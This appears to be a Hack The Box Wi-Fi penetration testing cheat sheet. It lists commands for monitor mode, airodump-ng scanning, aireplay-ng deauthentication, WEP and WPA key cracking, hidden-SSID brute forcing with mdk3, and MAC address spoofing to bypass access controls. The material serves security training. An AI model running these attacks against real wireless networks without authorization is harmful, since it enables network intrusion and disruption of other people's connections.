

WI-FI PENETRATION TESTING BASICS CHEAT SHEET

Interfaces and Interface Modes

Command	Description
<code>sudo iw reg set US</code>	Set Region for the Interface.
<code>sudo ifconfig wlan0 down</code> <code>sudo iwconfig wlan0 txpower 30</code> <code>sudo ifconfig wlan0 up</code>	Change the Interface Strength.
<code>iwlist wlan0 scan grep</code> <code>'Cell\ Quality\ ESSID\ IEEE'</code>	Scan Available WiFi Networks.
<code>sudo ifconfig wlan0 down</code> <code>sudo iwconfig wlan0 channel 64</code> <code>sudo ifconfig wlan0 up</code>	Change the Interface Channel.
<code>sudo ifconfig wlan0 down</code> <code>sudo iwconfig wlan0 freq "5.52G"</code> <code>sudo ifconfig wlan0 up</code>	Change the Interface Frequency.
<code>sudo ifconfig wlan0 down</code> <code>sudo iwconfig wlan0 mode managed</code> <code>sudo ifconfig wlan0 up</code>	Set the Interface to Managed Mode.
<code>sudo iwconfig wlan0 mode ad-hoc</code> <code>sudo iwconfig wlan0 essid HTB-Mesh</code>	Set the Interface to Ad-hoc Mode.
<code>sudo iw dev wlan0 set type mesh</code>	Set the Interface to Mesh Mode.

Command	Description
<code>sudo ifconfig wlan0 down</code> <code>sudo iw wlan0 set monitor control</code> <code>sudo ifconfig wlan0 up</code>	Set the Interface to Monitor Mode.

Aircrack-ng Essentials

Command	Description
<code>sudo airmon-ng start wlan0</code>	Start Monitor mode using airmon-ng.
<code>sudo airmon-ng start wlan0 11</code>	Start Monitor mode using airmon-ng on specific channel.
<code>sudo airodump-ng wlan0mon</code>	Scan Available WiFi Networks using airodump-ng.
<code>sudo airodump-ng -c 11 wlan0mon</code>	Scan Available WiFi Networks using airodump-ng on Specific Channels or a Single Channel.
<code>sudo airodump-ng wlan0mon --band a</code>	Scan 5 GHz Wi-Fi bands.
<code>sudo airodump-ng wlan0mon -w HTB</code>	Save the airodump-ng output to a file.
<code>airgraph-ng -i HTB-01.csv -g CAPR -o HTB_CAPR.png</code>	Clients to AP Relationship Graph.
<code>airgraph-ng -i HTB-01.csv -g CPG -o HTB_CPG.png</code>	Common Probe Graph.
<code>sudo aireplay-ng --test wlan0mon</code>	Test for Packet Injection.
<code>aireplay-ng -0 5 -a 00:14:6C:7A:41:81 -c 00:0F:B5:32:31:31 wlan0mon</code>	Perform Deauthentication using Aireplay-ng
<code>airdecap-ng -w 1234567890ABCDEF HTB-01.cap</code>	Decrypt WEP-encrypted captures.
<code>aircrack-ng -K HTB.ivs</code>	Cracking WEP using aircrack-ng.

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<code>aircrack-ng HTB.pcap -w /opt/wordlist.txt</code>	Cracking WPA using aircrack-ng.

Connection Methods

Command	Description
<code>network={ ssid="HackTheBox" key_mgmt=NONE wep_key0=3C1C3A3BAB wep_tx_keyidx=0 } wpa_supplicant -c wep.conf -i wlan0</code>	Connect to WEP Networks
<code>network={ ssid="HackMe" psk="password123" } wpa_supplicant -c wpa.conf -i wlan0</code>	Connect to WPA Personal Networks
<code>network={ ssid="HTB-Corp" key_mgmt=WPA-EAP identity="HTB\Administrator" password="Admin@123" } wpa_supplicant -c wpa_enterprsie.conf -i wlan0</code>	Connect to WPA Enterprise Networks

Basic Control Bypass

Command	Description
<code>mdk3 wlan0mon p -b u -c 1 -t A2:FF:31:2C:B1:C4</code>	Bruteforce Hidden SSID for all possible values.
<code>mdk3 wlan0mon p -f /opt/wordlist.txt -t D2:A3:32:13:29:D5</code>	Bruteforce Hidden SSID using a Wordlist.

Command

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airmon-ng stop wlan0mon  
sudo macchanger wlan0 -m 3E:48:72:B7:62:2A  
sudo ifconfig wlan0 up
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Description

Change the MAC address of the interface.